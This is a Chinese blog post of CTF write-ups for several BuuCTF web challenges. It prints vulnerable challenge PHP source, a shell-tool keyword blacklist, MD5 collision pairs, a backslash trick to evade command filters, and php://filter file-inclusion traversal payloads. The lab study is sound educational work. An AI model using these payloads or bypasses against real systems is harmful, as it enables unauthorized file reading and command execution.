Fork me on GitHub

BuuCTF web刷题(4)

写在开始

  • 这几天久违地打算去buu上开始刷一些题目,扩展一下知识面,遂有了这篇blog

[ASIS 2019]Unicorn shop

知识点:unicode 安全

  • 点进页面,发现就只有一个货物清单和购买的输入框,尝试购买产品,发现当购买前三个的时候都会显示Wrong commodity!
    web
    web
  • 只有当尝试购买第四件产品时会显示货币不足,所以切入点就在第四件产品上了,如果能购买成功的话应该就可以获取flag,但当输入的price的字符数超过一个的时候会提示只能输入一个字符
    web
    web
  • 原本以为是输入长度的限制,但是看着题目名发现可能会和unicode有关,现在要解决的问题就是找到一个数值能大于1377的但是又只占有一个字符的unicode,这里用网上wp推荐的一个神奇的网站https://www.compart.com/en/unicode,查到这个数值表示10000的字符
    web
  • 由于提交要使用url编码,所以把0xE1 0x8D 0xBC换成%E1%8D%BC即可
  • id=4&price=%E1%8D%BC
    web

[安洵杯 2019]easy_web

知识点:md5强碰撞,命令执行绕过,base64+hex

  • 打开链接发现就只有一张图片和黑页,但是观察到url,发现有两个参数imgcmd,同时imgbase64加密了,解密后发现是用了两次base64加一次hex,得到文件名555.png,于是尝试直接将flag写入,却返回得到no flag,说明有过滤,无法直接读取,于是尝试将index.php写入,查看f12后得到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
  • 通过查看源码得知,直接访问flag是行不通的,这里进行了过滤
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
  • 但是发现后续有一个md5的强碰撞判断,这里只要能绕过他即可执行后面的echo $cmd
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  • 直接执行cat /flag时,发现被禁用了,所以要进行绕过,使用反斜杠产生转义字符绕过ca\t flag即可,或者使用sort命令,sort会将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出
    web
  • md5强相撞参考:
https://www.jianshu.com/p/c9089fd5b1ba
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value

[BSidesCF 2020]Had a bad day

知识点:php伪协议,文件包含,strpos函数

  • 进入页面就只有两个可选项,随便点击一个后发现url中出现可控变量,感觉和伪协议很想,遂尝试使用伪协议
  • index.php?category=php://filter/read=convert.base64-encode/resource=index.php,发现出现报错
    web
  • 于是去掉.php后发现读取正常,解码base64后得到源码
    index.php?category=php://filter/read=convert.base64-encode/resource=index
    web
<?php
  $file = $_GET['category'];
  if(isset($file))
  {
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
		include ($file . '.php');
            }
	else{
		echo "Sorry, we currently only support woofers and meowers.";
	    }
  }
?>
  • 通过源码也发现,他这里是直接拼接得到php文件,所以之前不需要加后缀了
  • 分析源码得知,只要传给category的字符串中包含woofers,meowers,index就可以触发文件包含,所以只要指定输入中包含以上三个就行
  • 此外对于include()函数,只要指定的路径中含有../就会直接从当前文件的上一级查询
  • 所以第一种payload:?category=php://filter/read=convert.base64-encode/resource=woofers/../flag
  • 此外由于php伪协议还可以嵌套一层协议,像这样php://filter/read=convert.base64-encode/xxx/resource=,所以有了第二种payload:php://filter/read=convert.base64-encode/woofers/resource=flag
  • 对于这里还有第三种payloadphp伪协议还有一个可选参数wirte,所以还可以直接?category=php://filter/convert.base64-encode/write=woofers/resource=flag
resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>        任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

web

[GKCTF2020]cve版签到

知识点:cve-2020-7066

  • 查看hint得知这是对cve-2020-7066的复现,于是直接查一下这个cve得知,这个会直接将url中空字符后的内容直接截断,漏洞是由get_headers()函数导致
  • 点击ctfhub链接,然后bp抓包
    web
  • 然后截断url得到新的hint,要求host是以123结尾的
    web
  • 遂得到flag
    web
  • 记录一个php cve的收录网站:https://bugs.php.net/search.php?limit=30&order_by=id&direction=DESC&cmd=display&status=Open&bug_type=All&project=PHP

[MRCTF2020]Ez_bypass

知识点:md5强碰撞,is_numeric()绕过

  • 源码如下:

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first
  • 第一层要绕过md5的强碰撞,继续用之前那题的payload即可绕过
?gg=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&
id=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%

web

  • 接着绕第二层,发现要post一个数值为1234567但是却不能是数字的值,即要求绕过is_numeric(),对于这个函数直接在数字后面添加任意字符即可绕过,遂passwd=1234567%20遂得到最终flag
    web
  • 此外由于这里判断并不像之前那样对变量类型要求一定是string,所以最简单的由于md5处理不了数组,所以也可以使用数组绕过
    web
posted @ 2021-03-07 22:43  Konmu  阅读(411)  评论(0编辑  收藏  举报